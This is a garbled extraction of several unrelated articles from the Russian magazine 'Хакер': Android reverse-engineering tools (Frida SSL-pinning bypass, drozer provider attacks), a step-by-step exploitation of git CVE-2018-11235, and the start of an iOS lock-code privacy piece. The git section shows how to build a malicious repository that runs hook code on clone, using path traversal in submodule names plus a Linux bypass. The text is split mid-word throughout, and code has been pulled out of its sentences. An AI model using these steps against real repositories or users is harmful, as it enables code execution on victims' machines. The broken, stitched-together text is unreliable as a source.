Нач нем  с  короля  всех  инс тру мен тов  динами чес кого  ана лиза,  трас сиров ки
и модифи кации  при ложе ний —  с  .  Это  так  называ емый Dynamic  Instru‐
mentation  Toolkit,  набор инс тру мен тов,  поз воля ющих на  лету  внед рять  собс‐ 
твен ный  код  в  дру гие  при ложе ния.  Внед рив  код,  мож но  выпол нить  пол ную
трас сиров ку при ложе ния, перех ватить фун кции шиф рования, записи фай лов
на диск и вооб ще сде лать с при ложе нием все что угод но.

Frida

В  «Хакере»  уже  была  ,  поэто му  не  будем  пов‐ 
торять ся. Ска жем толь ко, что у Frida есть репози торий с готовы ми скрип тами,
которые могут тебе при годить ся:

под робная  статья  о  Frida

  —  ком плексный  скрипт,  поз воля ющий  отклю чить  про вер ки
на root;

• fridantiroot

 — обход SSL Pinning;• Universal Android SSL Pinning Bypass
 — скрипт Frida для дереф лексии Java‐кода (прев ращения неп‐ 

рямых вызовов методов в пря мые).
• dereflector

$ frida ‐‐codeshare pcipolloni/univer
sal‐android‐ssl‐pinning‐bypass‐with‐frida ‐f com.example.app

Трас сиров ка Telegram с помощью Frida

Objection
Frida — очень популяр ный инс тру мент. На его осно ве было соз дано мно жес‐ 
тво более высоко уров невых ути лит.   — одна из них. Она поз воля ет
внед рить ся в при ложе ние iOS или Android и про вес ти ана лиз его при ват ного
катало га, памяти, клас сов, методов, извлечь содер жимое базы SQLite, обой‐ 
ти SSL‐пин нинг.

Objection

Глав ное пре иму щес тво Objection в том, что она дает воз можность «вой ти»
в  при ват ный  каталог  при ложе ния  точ но  так  же,  как  это  поз воля ет  сде лать
устрой ство с root‐дос тупом. Но в этом же ее недос таток: боль шинс тво задач,
для  которых  пред назна чена  Objection,  лег ко  реша ются  с  помощью  adb,
коман ды sqlite (при наличии root) и обще дос тупных скрип тов Frida.

Кон соль Objection

Inspeckage
  —  еще  один  высоко уров невый  инс тру мент  динами чес кого  ана‐ 

лиза  при ложе ний.  У  него  огромное  количес тво  воз можнос тей:  он  может
получать  информа цию  о  пол номочи ях,  активнос тях,  кон тент‐про вай дерах
и сер висах, уме ет перех ватывать обра щения к SQLite, HTTP‐сер верам, фай‐ 
ловой  сис теме,  буферу  обме на,  крип тогра фичес ким  фун кци ям,  запус кать
активнос ти,  под клю чать ся  к  ContentProvider’aм  и  выпол нять  спу финг  мес‐ 
тополо жения.

Inspeckage

Все  это  мож но  сде лать,  исполь зуя  удоб ный  веб‐интерфейс.  Но  перед
этим  на  смар тфо не  необ ходимо  получить  пра ва  root,  а  затем  уста новить
Xposed Framework (который как раз и поз воля ет Inspeckage выпол нять перех‐ 
ват управле ния).

Глав ный экран Inspeckage

Drozer
На  закус ку  у  нас    —  мощ ный  инс тру мент  для  выпол нения  типич ных
задач пен теста при ложе ний. Drozer поз воля ет получить информа цию о при‐ 
ложе нии, запус тить его активнос ти, под клю чить ся к ContentProvider’у, отпра‐ 
вить  сооб щения  сер вису —  в  общем,  сде лать  все,  что бы  вытащить  из  при‐ 
ложе ния информа цию или зас тавить его выпол нить то, что нам нуж но.

drozer

Ти пич ный  ворк флоу  drozer  выг лядит  так.  Сна чала  получа ем  информа цию
о при ложе нии:

dz> run app.package.list
dz> run app.package.info ‐a com.example.app

За тем  выводим  спи сок  активнос тей  и  про буем  запус тить  их  (воз можно,
некото рые из них не дол жны тор чать наружу):

dz> run app.activity.info ‐a com.example.app
dz> run app.activity.start ‐‐component com.example.app <
имя_активности>

По луча ем информа цию о ContentProvider’ах при ложе ния:

dz> run app.provider.info ‐a com.example.app
dz> run scanner.provider.finduris ‐a com.example.app

Про буем  выудить  из  них  информа цию  раз ными  спо соба ми.  Нап ример,
при помощи пря мого зап роса дан ных:

dz> run app.provider.query content://com.mwr.example.sieve.DBCont
entProvider/Password/ ‐‐vertical

Про веря ем на наличие уяз вимос тей к инъ екции и directory traversal:

dz> run scanner.provider.injection ‐a com.example.app
dz> run scanner.provider.traversal ‐a com.example.app

По луча ем  информа цию  о  сер висах,  про буем  запус тить  их,  пос лать  сооб‐ 
щения:

dz> run app.service.info ‐a com.example.app
dz> run app.service.start ‐‐action <действие> ‐‐component com.
example.app <имя_компонента>
dz> run app.service.send com.example.app <имя_компонента> ‐‐msg <
сообщение>

Прос мотр информа ции о при ложе нии с помощью drozer

Одной стро кой
 — образ вир туаль ной машины с набором перечис ленных в статье

инс тру мен тов;
• Androl4b

 — ана логич ный по наз начению образ Docker;• AndroidRE
 — скрипт для упро щения дей ствий, свя зан ных с ана лизом при‐ 

ложе ний,  поз воля ет  уста новить  фла ги  отладки  и  бэкапа  при ложе ния,
пересоб рать и под писать при ложе ние,  выдер нуть с  устрой ства при ложе‐ 
ние, уста нов ленное с помощью Google Play, ско пиро вать на комп при ват‐ 
ный каталог при ложе ния, внед рить гад жет Frida в APK;

• LazyDroid

  —  мета инс тру мент  ана лиза  Android‐при ложе ний,  поз воля‐ 
ющий  получить  исчерпы вающую  информа цию  о  при ложе нии,  деком‐ 
пилиро вать  его,  най ти  стро ки,  URL,  ком понен ты  баз  дан ных;  плюс  дос‐ 
тупна интегра ция с Frida.

• AndroTickler

ВМЕСТО ВЫВОДОВ
Се год ня у взлом щиков при ложе ний для Android нет недос татка в инс тру мен‐ 
тах.  Все  уже  написа но  до  нас,  оста лось  толь ко  взять  и  начать  это  исполь‐ 
зовать — так дума ет боль шинс тво из тех, кто решил поп робовать себя в роли
ревер сера. На самом деле это не  так. Ни один из пред став ленных в  статье
инс тру мен тов  не  ска жет  тебе:  «Уяз вимость  здесь,  исполь зуй  ее». Они  лишь
сэконо мят твое вре мя на том или ином эта пе ревер са, но най ти уяз вимость
и  экс плу ати ровать  ее  тебе  при дет ся  самому,  а  для  это го  надо  хорошо
понимать, что ты дела ешь.

mailto:zobnin@glc.ru
https://xakep.ru/2016/10/25/hack-android-2/
https://xakep.ru/2016/11/25/hack-android-3/
https://github.com/skylot/jadx
https://ibotpeaches.github.io/Apktool/
https://xakep.ru/2016/09/13/hack-android-1/
https://github.com/rednaga/APKiD
https://github.com/CalebFenton/simplify
http://www.apk-deguard.com/
https://bytecodeviewer.com/
http://jd.benow.ca/
https://github.com/linkedin/qark
https://www.frida.re/
https://xakep.ru/2018/03/19/android-frida/
https://codeshare.frida.re/@dzonerzy/fridantiroot/
https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
https://codeshare.frida.re/@dzonerzy/dereflector/
https://github.com/sensepost/objection
http://repo.xposed.info/module/mobi.acpm.inspeckage
https://github.com/mwrlabs/drozer
https://github.com/sh4hin/Androl4b
https://github.com/cryptax/androidre
https://github.com/nccgroup/LazyDroid
https://github.com/ernw/AndroTickler
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ВЗЛОМ

Ду маю,  тебе  не  нуж но  рас ска зывать,  что  такое  git,  —  он
сегод ня  исполь зует ся  все ми  от  неболь ших  ком паний
до  гиган тов  индус трии.  Най ден ная  в  нем  уяз вимость  поз‐ 
воля ет  зло умыш ленни ку  ата ковать  поль зовате лей,  которые
кло ниро вали  спе циаль но  сфор мирован ный  репози торий.
Как его фор мировать? Об этом я сей час и рас ска жу.

INFO

Об наружен ные уяз вимос ти получи ли иден тифика‐ 
торы  CVE‐2018‐11233  и  CVE‐2018‐11235.  Они
при сутс тву ют в сле дующих вер сиях git:
все вер сии ниже 2.17.1;•
все вер сии ниже 2.16.4;•
все вер сии ниже 2.14.4;•
все вер сии ниже 2.15.2;•
все вер сии ниже 2.13.7•
и дру гие, более ран ние вер сии.•

На иболь ший  инте рес  пред став ляет  баг CVE‐2018‐11235,  который  был  обна‐ 
ружен  иссле дова телем Эть еном Стал мансом  (Etienne  Stalmans).  Экс плу ата‐ 
ция имен но этой уяз вимос ти при водит к самым печаль ным пос ледс тви ям —
выпол нению  про изволь ного  кода  на  машине  жер твы.  Проб лема  была  най‐ 
дена в рам ках прог раммы охо ты за ошиб ками GitHub и зат рагива ет фун кции
обра бот ки име ни под модуля.

Баг  ока зал ся  плат формо неза виси мым  и  прек расно  сущес тву ет  во  всех
основных  опе раци онных  сис темах — Windows,  macOS  и  Linux.  Спи сок  уяз‐ 
вимых веток при ложе ния обши рен, к тому же под угро зой ока зались и прог‐ 
раммы, в которые вклю чена вер сия Git «из короб ки». В основном это раз ные
IDE, такие как Visual Studio и Xcode.

СТЕНД
Ду маю,  опи сание  уста нов ки  git  на  твою  машину  будет  лиш ней  тра той
экранно го  мес та.  Выбирай  удоб ную  тебе  плат форму  и  качай  .
Прос леди толь ко, что бы номер вер сии вхо дил в чис ло уяз вимых. Я ради раз‐ 
нооб разия буду исполь зовать  .

дис три бутив

git для Windows

Уяз вимая к CVE‐2018‐11235 вер сия git

ЧТО ТАКОЕ «ПОДМОДУЛИ»?
Во  вре мя  раз работ ки  пос тоян но  воз ника ет  необ ходимость  задей ство вать
в сво ем про екте еще какой‐то про ект. Нап ример, допол нитель ную биб лиоте‐ 
ку,  которая  незави симо  исполь зует ся  в  нес коль ких  дру гих  про ектах.  Что бы
не  пло дить  копии  этой  биб лиоте ки  и  всег да  иметь  прос тую  воз можность
обно вить ее до пос ледней вер сии, в git сущес тву ет понятие под модуля (sub‐
module).  Под модули  поз воля ют  содер жать  один  git‐репози торий  как  под‐ 
каталог дру гого. Это дает  воз можность  кло ниро вать еще один репози торий
внутрь про екта, при этом в него по‐преж нему мож но ком митить отдель но.

Пос мотрим, как это сде лать. Для начала соз дадим пус той репози торий.

$ mkdir subvh && cd subvh
$ git init

До пус тим,  теперь  мы  хотим  исполь зовать  в  этом  про екте 
. Заг рузим его в качес тве под модуля:

кру той  сло варь
для дир баста

$ git submodule add git://github.com/Bo0oM/fuzz.txt fuzz

где   —  это  наз вание  пап ки,  куда  будет  помещен  репози торий.  Теперь,
если  заг лянуть  в  ,  мы  уви дим,  что  появил ся  новый  файл 

.

fuzz
git  status

.gitmodules

$ git status
On branch master
No commits yet
Changes to be committed:
 (use "git rm ‐‐cached <file>..." to unstage)
 new file:   .gitmodules
 new file:   fuzz

Этот  кон фигура цион ный  файл  зада ет  соот ветс твие  локаль ного  пути  внут ри
про екта с адре сом репози тория.

$ cat .gitmodules
[submodule "fuzz"]
   path = fuzz
   url = git://github.com/Bo0oM/fuzz.txt

До бав ление под модуля в репози торий

Об рати вни мание на заголо вок фай ла: в кавыч ках ука зыва ется наз вание под‐ 
модуля,  оно  ана логич но  наз ванию  пап ки,  в  которую  мы  его  кло ниро вали.
Разуме ется,  репози торий  может  содер жать  сколь ко  угод но  под модулей,
для каж дого будет соз дана отдель ная запись в  ..gitmodules

Сам файл находит ся под вер сион ным кон тро лем вмес те с дру гими тво ими
фай лами. Он отправ ляет ся  при  выпол нении    и  заг ружа ется  при  выпол‐ 
нении   вмес те с осталь ными фай лами про екта.

push
pull

Од нако, кро ме появ ления  , в струк туре про екта были сде ланы
и дру гие изме нения. Как ты зна ешь, в кор не репози тория в пап ке    хра‐ 
нят ся слу жеб ные фай лы. Там мож но обна ружить дирек торию   с под‐ 
папкой  . А в ней уже хра нит ся такой же слу жеб ный каталог  , толь ко
от  нашего  под модуля.  В  самой  пап ке  под модуля  находит ся  файл  ,
в котором ука зано, по какому пути искать слу жеб ную дирек торию.

.gitmodules
.git

modules
fuzz .git

.git

$ cat fuzz/.git
gitdir: ../.git/modules/fuzz

Слу жеб ная пап ка .git от под модуля

По ра заком митить вне сен ные изме нения.

$ git commit ‐m "Added submodule"

Те перь  поп робу ем  кло ниро вать  наш  све жесоб ранный  репози торий  с  под‐ 
модулем.

$ cd ..
$ git clone subvh subtest

Заг лядыва ем в пап ку fuzz и... не видим там ничего.

По пыт ка кло ниро вания репози тория с под модулем

Де ло в том, что для авто мати чес кой заг рузки под модулей во вре мя кло ниро‐ 
вания нуж но исполь зовать ключ   или прос то 

.
‐‐recurse‐submodules ‐‐recur‐

sive

$ git clone subvh subtest ‐‐recursive

Те перь все в поряд ке и мож но перехо дить к деталям уяз вимос ти.

$ git clone subvh subtest ‐‐recursive
Cloning into 'subtest'...
done.
Submodule 'fuzz' (git://github.com/Bo0oM/fuzz.txt) registered for 
path 'fuzz'
Cloning into 'D:/VisualHack/subtest/fuzz'...
remote: Counting objects: 323, done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 323 (delta 2), reused 0 (delta 0), pack‐reused 317
Receiving objects: 100% (323/323), 1.85 MiB | 943.00 KiB/s, done.
Resolving deltas: 100% (197/197), done.
Submodule path 'fuzz': checked out 'b50734ffa4477b8f7d86bca3f9eed648a
9b83ed7'

Продолжение статьи →

https://twitter.com/iamsecurity
https://git-scm.com/downloads
https://github.com/git-for-windows/git/releases/
https://github.com/Bo0oM/fuzz.txt
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ДЕТАЛИ УЯЗВИМОСТИ
Сна чала заг лянем в  , который пат чит уяз вимость.ком мит

Ком мит с пат чем уяз вимос ти CVE‐2018‐11235

В файл    была   
 для про вер ки име ни под модуля.

submodule‐config.c до бав лена фун кция check_submodule_‐
name

submodule-config.c
193: int check_submodule_name(const char *name)
194: {
195:    /* Disallow empty names */
196:    if (!*name)
197:        return ‐1;
...
204:    goto in_component; /* always start inside component */
205:    while (*name) {
206:        char c = *name++;
207:        if (c == '/' || c == '\\') {
208: in_component:
209:            if (name[0] == '.' && name[1] == '.' &&
210:                (!name[2] || name[2] == '/' || name[2] == '\\'))
211:                return ‐1;
212:        }
213:    }
214:
215:    return 0;
216: }

Она  вызыва ется  во  вре мя  работы  скрип та  ,  что бы  обра‐ 
ботать наз вание, передан ное в виде аргу мен тов коман дной стро ки.

git‐submodule.sh

git-submodule.sh
232:    if ! git submodule‐‐helper check‐name "$sm_name"
233:    then
234:        die "$(eval_gettext "'$sm_name' is not a valid submodule 
name")"
235:    fi

/builtin/submodule--helper.c
1825: static int check_name(int argc, const char **argv, const char *
prefix)
1826: {
1827:   if (argc > 1) {
1828:       while (*++argv) {
1829:           if (check_submodule_name(*argv) < 0)
1830:               return 1;
1831:       }
1832:   } else {
1833:       struct strbuf buf = STRBUF_INIT;
1834:       while (strbuf_getline(&buf, stdin) != EOF) {
1835:           if (!check_submodule_name(buf.buf))
1836:               printf("%s\n", buf.buf);
1837:       }
1838:       strbuf_release(&buf);
1839:   }
1840:   return 0;
1841: }

Так же   вызыва ется в фун кции 
,  которая  занима ется  обра бот кой  име ни  под модуля  из  кон фигура цион‐ 

ного фай ла.

check_submodule_name name_and_item_from_‐
var

submodule-config.c
218: static int name_and_item_from_var(const char *var, struct strbuf
*name,

219:                  struct strbuf *item)
220: {
221:    const char *subsection, *key;
222:    int subsection_len, parse;
223:    parse = parse_config_key(var, "submodule", &subsection,
224:            &subsection_len, &key);
225:    if (parse < 0 || !subsection)
226:        return 0;
227:
228:    strbuf_add(name, subsection, subsection_len);
229:    if (check_submodule_name(name‐>buf) < 0) {
230:        warning(_("ignoring suspicious submodule name: %s"), name
‐>buf);
231:        strbuf_release(name);
232:        return 0;
233:    }
234:
235:    strbuf_addstr(item, key);
236:
237:    return 1;
238: }

Те перь  вер немся  к  соз данию  под модуля.  Как  ты  пом нишь,  его  наз вание
в сек ции   было таким же, как и наз вание пап ки, где он хра нит ся.
Но  это  толь ко  до  тех  пор,  пока  мы  вруч ную  не  ука жем  его  наз вание
с помощью клю ча  .

[submodule]

‐‐name

$ git submodule add ‐‐name "test" git://github.com/Bo0oM/fuzz.txt 
fuzz

Те перь заг лянем в  ..gitmodules

$ cat .gitmodules
[submodule "test"]
   path = fuzz
   url = git://github.com/Bo0oM/fuzz.txt

А теперь кое‐что поин терес нее. Гля нем лис тинг дирек тории  ..git/modules

Лис тинг дирек тории .git/modules пос ле исполь зования кас томно го име ‐
ни под модуля

Путь,  по  которо му  рас полага ются  фай лы  под модуля,  остался  тем  же,  а  вот
слу жеб ная  пап ка  теперь  име ет  наз вание,  которое  мы  ука зали  в  парамет ре

.name
От талки ваясь  от  добав ленных  про верок  в  теле  про пат ченной  фун кции

,  рис кнем  пред положить,  что  тут  име ет  мес то  уяз‐ 
вимость path  traversal. Про верим это умо зак лючение, ука зав в качес тве наз‐ 
вания под модуля  .

check_submodule_name

../test

Path traversal в име ни под модуля

Да,  уяз вимость  при сутс тву ет,  и  пап ка  со  слу жеб ными  фай лами  под модуля
теперь находит ся не в под дирек тории  , а в   нашего репози тория.
Теперь,  манипу лируя  парамет ром  , мы можем менять мес тополо жение
слу жеб ной пап ки под модуля. Что же это нам может дать, кро ме воз можнос ти
переза писать какие‐то дан ные?

modules .git
name

ХУКИ В GIT
Git  пре дос тавля ет  воз можность  запус кать  поль зователь ские  скрип ты
при  выпол нении  опре делен ных  важ ных  дей ствий  с  репози тори ем.
В инфраструк туре git это называ ется хуками (git hooks). Сущес тву ет два вида
хуков:  на  сто роне  кли ента  и  на  сто роне  сер вера.  Кли ент ские  хуки  ини‐ 
циируют ся такими опе раци ями, как commit и merge, в то вре мя как сер верные
обра бот чики  выпол няют ся  при  сетевых  вза имо дей стви ях,  нап ример получе‐ 
нии запушен ных ком митов.

Все  хуки  хра нят ся  в  под дирек тории    катало га  .  Ког да  ты  ини‐ 
циали зиру ешь  новый  репози торий  с  помощью  ,  каталог  с  хуками
содер жит  вязан ку  скрип тов‐при меров  c  рас ширени ем  .sample.  По  сути,
хуки — это  прос тые шелл‐скрип ты  со  спе циаль ными  наз вани ями,  соот ветс‐ 
тву ющи ми опе раци ям. Нап ример,  .

hooks .git
git  init

pre‐commit

При меры фай лов с хуками

Так как хуки находят ся непос редс твен но в слу жеб ной пап ке  , то, разуме‐ 
ется, они никог да не вклю чают ся в репози торий, не явля ются его частью и не
переда ются  при  кло ниро вании  с  помощью  .  Это  логич ная  прак‐ 
тика: если бы хуки были частью репози тория, то мож но было бы прос то соз‐ 
дать  репози торий,  пос ле  кло ниро вания  которо го  у  кли ента  выпол нялся  бы
про изволь ный код.

.git

git  clone

Под модули  —  это  обыч ные  внеш ние  репози тории,  а  зна чит,  они  тоже
содер жат  хуки,  которые  по  умол чанию  рас полага ются  в  пап ке 

. Но ведь у нас есть path traversal! ;)
.git/

modules/<имя_подмодуля>/hooks

Тер нистый путь к RCE
C  помощью  най ден ной  уяз вимос ти  мы  можем  слу жеб ную  пап ку  под модуля
прев ратить  в  часть  репози тория,  и  она  будет  вмес те  с  ним  путешес тво вать
во вре мя работы и при пос леду ющем кло ниро вании.

$ git submodule add ‐‐name "../../fuzz.git" git://github.com/Bo0oM/
fuzz.txt fuzz

Пос ле выпол нения такой коман ды в кор не репози тория, помимо дирек тории
самого  под модуля,  появ ляет ся  его  слу жеб ная  пап ка.  Теперь  мож но  добав‐ 
лять хуки в  .fuzz.git/hooks

Пе рено сим слу жеб ную пап ку .git под модуля в корень репози тория

Соз дадим  хук  ,  который  будет  выпол нять ся  пос ле  коман ды
, в том чис ле и пос ле кло ниро вания репози тория.

post‐checkout
checkout

$ echo ‐e '#!/bin/bash\nuname ‐a' > fuzz.git/hooks/post‐checkout
$ chmod +x !$
$ git add .
$ git commit ‐m "message"
$ git push origin master

Ком митим кас томный хук в репози торий

И  это го  для  машин  на  Windows  дос таточ но.  Если  теперь  кло ниро вать  соз‐ 
данный  репози торий,  мы  уви дим  резуль тат  выпол нения  коман ды  .
Это работа ет как при кло ниро вании с 

, так и через  .

uname ‐a
git clone subvh subtest ‐‐recur‐

sive git submodule update ‐‐init

Вы пол нение про изволь ного кода в вер сии git для Windows

А вот на сис темах с Linux такой фокус не прой дет. При попыт ке кло ниро вать
репози торий  на  эта пе  заг рузки  под модулей  будет  выдана  ошиб ка:  пап ка
для слу жеб ных фай лов под модуля уже сущес тву ет.

Не уда ча при попыт ке экс плу ата ции git под Debian

К тому же во вре мя кло ниро вания вся дирек тория будет переза писа на, и наш
хук не отра бота ет.

Пе реза пись содер жимого слу жеб ной дирек тории под модуля

Но  Эть ен  нашел  спо соб  избе жать  это го.  Бай пас  ока зал ся  прос тым,  но  не
самым оче вид ным. Помог счас тли вый слу чай! Нуж но лишь добавить еще один
под модуль,  при чем  с  таким  наз вани ем,  что бы  оно  было  пер вым  при  сор‐ 
тиров ке в алфа вит ном поряд ке. В нашем слу чае это может быть, нап ример,

.ааа

$ git submodule add git://github.com/Bo0oM/fuzz.txt aaa

По дой дет  любой  под модуль.  Глав ное  тут —  наз вание.  Ког да  в  пап ке 
  уже  сущес тву ет  какой‐нибудь  под модуль,  git  счи тает  любой  путь

валид ным  при  пос леду ющей  ини циали зации  дру гих  под модулей,  и  переза‐ 
пись дирек тории не про исхо дит. Это отличная новость, так как теперь наш хук
прек расно себя чувс тву ет и выпол няет ся.

.git/
modules

Ус пешная экс плу ата ция git на Linux

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Вот  такая  инте рес ная,  изящ ная  и  очень  опас ная  уяз вимость  сущес тво вала
во все ми любимом кли енте git. Еще одно доказа тель ство того, что популяр‐ 
ность про дук та сов сем не озна чает отсутс твия в нем уяз вимос тей. Даже если
иссле дова тели  зас мотре ли  что‐то  до  дыр,  у  тебя  всег да  есть  шанс  най ти
что‐то новое и уте реть им нос.

Кста ти, на момент написа ния статьи GitHub зап ретил пушить репози тории,
в  которых  есть  модули,  содер жащие  наз вания  хуков.  Заботят ся  о  нашей
безопас ности! :)

https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44
https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44#diff-316afd7fb03da1c8579a7689a0cf0780R166
https://vimeo.com/275802200
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ПРИВАТНОСТЬ

Се год няшняя статья будет нес коль ко необыч ной. Чаще все‐ 
го  мы  говорим  о  най ден ных  уяз вимос тях  и  спо собах  их
исполь зования,  помога ющих  взло мать  устрой ство
и получить дос туп к информа ции. Теперь же мы попыта емся
обер нуть  ситу ацию  в  поль зу  вла дель ца  устрой ства  с  iOS.
Рас смот рим  спо собы,  которы ми  поль зуют ся  спец служ бы
и  полицей ские,  что бы  взло мать  iPhone,  и  спо собы,
при  помощи  которых  извле кают ся  твои  дан ные;  поп робу ем
от  них  защитить ся  и  сра зу  же  оце нить  стой кость  такой
защиты. Основная тема статьи — как убе речь дан ные, если
пароль  бло киров ки  тво его  iPhone  стал  известен  зло умыш‐ 
ленни ку.

IOS ДОСТАТОЧНО БЕЗОПАСНА
Мы  уже  неод нократ но  писали  о модели  безопас ности  сов ремен ных  вер сий
iOS.  Если  говорить  о  све жих  сбор ках  сис темы  (на  сегод ня  это  iOS
11.4  в  качес тве  офи циаль ного  релиза,  11.4.1  бета  3  в  качес тве  пуб личной
бета‐вер сии и iOS 12.0 в качес тве беты для раз работ чиков), мож но пох валить
образцо вую реали зацию шиф рования дан ных и отличную защиту крип тогра‐ 
фичес кого  клю ча  (напом ним,  он  вычис ляет ся  динами чес ки  в  про цес се  заг‐ 
рузки  на  осно ве  пароля  бло киров ки,  а  во  вре мя  работы  надеж но  защищен
соп роцес сором  Secure  Enclave).  Так же  пох валим  допол нитель ный  уро вень
защиты  связ ки  клю чей  keychain,  в  которой  хра нят ся  все  пароли  к  учет ным
записям Safari, мар керы аутен тифика ции и крип тогра фичес кие клю чи. Если ты
уста новил  пароль  бло киров ки,  сос тоящий  из  шес ти  цифр,  или  еще  более
стой кий бук венно‐циф ровой пароль, рас шифро вать что бы то ни было с вык‐ 
лючен ного телефо на ока жет ся невоз можно, даже если будет извле чена мик‐ 
росхе ма памяти.

РЕЗЕРВНЫЕ КОПИИ: ЕЩЕ БЕЗОПАСНЕЕ
Сис тема  резер вно го  копиро вания  iOS  дос той на  вся чес кого  под ражания.
Имен но она, а не стек лянные кор пуса или вырез в экра не, в котором все рав‐ 
но не будет модуля объ емно го ска ниро вания лица. Шиф рование локаль ных
резер вных  копий  в  iOS  10.2  и  более  новых  нас толь ко  стой кое,  что  даже
топовый  аксе лера тор  Nvidia  GTX  1080  демонс три рует  ско рость  перебо ра
не выше сот ни паролей в секун ду. Таким обра зом, нес ложный пароль все го
из семи зна ков (это сред нее по боль нице) заг рузит единс твен ный компь ютер
на бли жай шее тысяче летие. Вплоть до выхода iOS 11 мож но было наз начить
на  резер вную  копию  длин ный  слу чай ный  пароль,  который  обес печил  бы
работой все компь юте ры мира до скон чания веков.

…НО ЭТО НЕ ИМЕЕТ ЗНАЧЕНИЯ
С такой безопас ной  iOS и  такими безопас ными резер вны ми копи ями о чем
еще мож но говорить? Дос таточ но отнести денеж ки в бли жай ший Apple Store,
не  забыть  про  шес тизнач ный  пароль  бло киров ки  и  нас лаждать ся  безопас‐ 
ностью, так?

Как показы вает прак тика, целую боч ку меда мож но испортить все го одной
лож кой дег тя. И эта лож ка здесь — тот самый код бло киров ки. Мы уже под‐ 
робно    о  том,  что  мож но  сде лать  с  iPhone,  если  узнать  этот  код.
Напом ним тезис но:

пи сали

от клю чить Find my iPhone и бло киров ку Activation Lock;•
вклю чить двух фактор ную аутен тифика цию, если она не была вклю чена;•
сме нить  пароль  от  Apple  ID  /  iCloud;  с  этим  паролем  получить  дос туп
к  облачным резер вным  копи ям,  син хро низи рован ным  дан ным  и  паролям
из  облачной  связ ки  клю чей  iCloud  Keychain,  при чем  со  всех  устрой ств,
при вязан ных к дан ной учет ной записи;

•

ска чать фотог рафии из iCloud Photo Library (вспом нили Celebgate);•
заб локиро вать или уда лить дан ные с дру гих устрой ств, при вязан ных к дан‐ 
ному Apple ID;

•

сбро сить  пароль  на  локаль ную  резер вную  копию,  под клю чить  телефон
к компь юте ру и извлечь все дан ные;

•

из влечь  все  пароли  из  связ ки  клю чей  или  прос мотреть  их  на  самом
устрой стве.

•

ПЕРЕХОД IOS ОТ МНОГОСЛОЙНОЙ ЗАЩИТЫ К ОБОРОНЕ ПАРОЛЯ
Те бе не кажет ся, что как‐то мно гова то все го нехоро шего мож но сде лать в iOS
11 (и в iOS 12 бета, мы про веря ли), прос то узнав пароль бло киров ки телефо‐ 
на? К при меру, если тебе в руки попадет телефон с Android и будет известен
код  бло киров ки,  прос то  так  сме нить  пароль  от  учет ной  записи  Google  ты
не смо жешь. Хотя… если ты прос мотришь пароли в Chrome (Chrome → Set‐
tings → Passwords), там и пароль от учет ки Google может ока зать ся. Да и отвя‐ 
зать телефон от FRP (Factory Reset Protection) все‐таки мож но, так что о том,
чей под ход более безопа сен, мож но пос порить.

Тем не менее воз вра щать ся  к испы тан ной мно гос лой ной защите в Apple
не  собира ются.  Вмес то  это го  ком пания  при лага ет  все  воз можные  уси лия
для защиты того единс твен ного, что оста лось: пароля бло киров ки. Нас коль ко
успешно это выходит? Пока что не очень.

Для всех устрой ств iPhone и iPad сущес тву ет как минимум два работа ющих
незави симых  решения,  поз воля ющих  взло мать  код  бло киров ки  методом
перебо ра.  Эти  решения —  Cellebrite  и  GrayKey —  дос тупны  исклю читель но
полиции и спец служ бам, но однажды най ден ная уяз вимость рано или поз дно
ока жет ся в руках не столь чис топлот ных.

О решени ях двух ком паний офи циаль но извес тно мало. Неофи циаль но же
ситу ация доволь но инте рес на. Так, GrayKey прек расно отра баты вает на всех
устрой ствах под управле нием iOS 11.3.1 и более ран них вер сий, при усло вии,
что взла мыва емый телефон был хотя бы раз раз бло киро ван пос ле вклю чения
или  перезаг рузки.  В  таких  слу чаях  перебор  идет  очень  быс тро,  и  код  бло‐ 
киров ки из четырех цифр будет взло ман в течение мак симум одной недели.
Зна чит ли это, что код бло киров ки, сос тоящий из шес ти цифр, будет взло ман
мак симум  через сто недель? Нет,  не  зна чит:  из‐за аппа рат ных огра ниче ний
с такой ско ростью мож но переб рать толь ко 300 тысяч ком бинаций из 10 мил‐ 
лионов. Пос ле это го перебор будет дос тупен лишь в «мед ленном» режиме.

«Мед ленный»  режим  перебо ра  поз воля ет  делать  попыт ки  с  интерва лом
в десять минут. Имен но с такой ско ростью решение ком пании Grayshift будет
переби рать  пароли  на  устрой ствах,  которые  были  вык лючены  или  перезаг‐ 
ружены (и ни разу пос ле это го не раз бло киро ваны). Более того, начиная с iOS
11.4  «мед ленный»  режим  перебо ра  —  единс твен ное,  что  дос тупно  и  для
ранее  раз бло киро ван ных  устрой ств.  Боль ше  двух месяцев  на  взлом  пароля
из четырех цифр и поч ти девят надцать лет для пол ного перебо ра прос транс‐ 
тва  паролей  из  шес ти  цифр  вро де  бы  впол не  удов летво ритель ные  показа‐ 
тели.

Но не с точ ки зре ния Apple.

USB RESTRICTED MODE
Ка залось  бы,  код  бло киров ки  из  шес ти  цифр  уже  дос таточ ная  гаран тия
безопас ности  дан ных.  Девят надцать  лет  на  пол ный  перебор  прос транс тва
паролей  —  это  немало.  Одна ко  и  ком пании,  пыта ющиеся  взло мать  iOS,
не сидят сло жа руки. И если сегод ня им дос тупен лишь мед ленный перебор,
то нет никакой гаран тии, что зав тра они не сде лают то же самое, но в разы
быс трее.  Отча явшись  защитить  свои  устрой ства  от  экс плу ати руемых
Cellebrite  и Grayshift  уяз вимос тей,  в Apple решились на отча янный шаг,  выз‐ 
вавший  бур ную  неод нознач ную  реак цию  со  сто роны  как  жур налис тов,  так
и пра воох ранитель ных орга нов.

О новом режиме USB Restricted Mode, который то появ лялся, то исче зал,
то  сно ва  появ лялся  в  бета‐вер сиях  iOS,  на  сегод няшний  день  не  написал
лишь ленивый. В двух сло вах: режим USB Restricted Mode пол ностью отклю‐ 
чает  любой  обмен  дан ными  через  встро енный  в  устрой ство  порт  Lightning.
Единс твен ное, что оста ется дос тупным, — заряд ка; с точ ки зре ния компь юте‐ 
ра,  к  которо му  будет  под клю чен  iPhone  с  акти виро вав шимся  режимом USB
Restricted Mode, устрой ство ничем не будет отли чать ся от, к при меру, внеш‐ 
него акку муля тора.

Ак тивиру ется этот режим так:

Не перепу тай! Режим USB Restricted Mode акти виру ется при «вык лючен ‐
ном» положе нии перек лючате ля USB Accessories

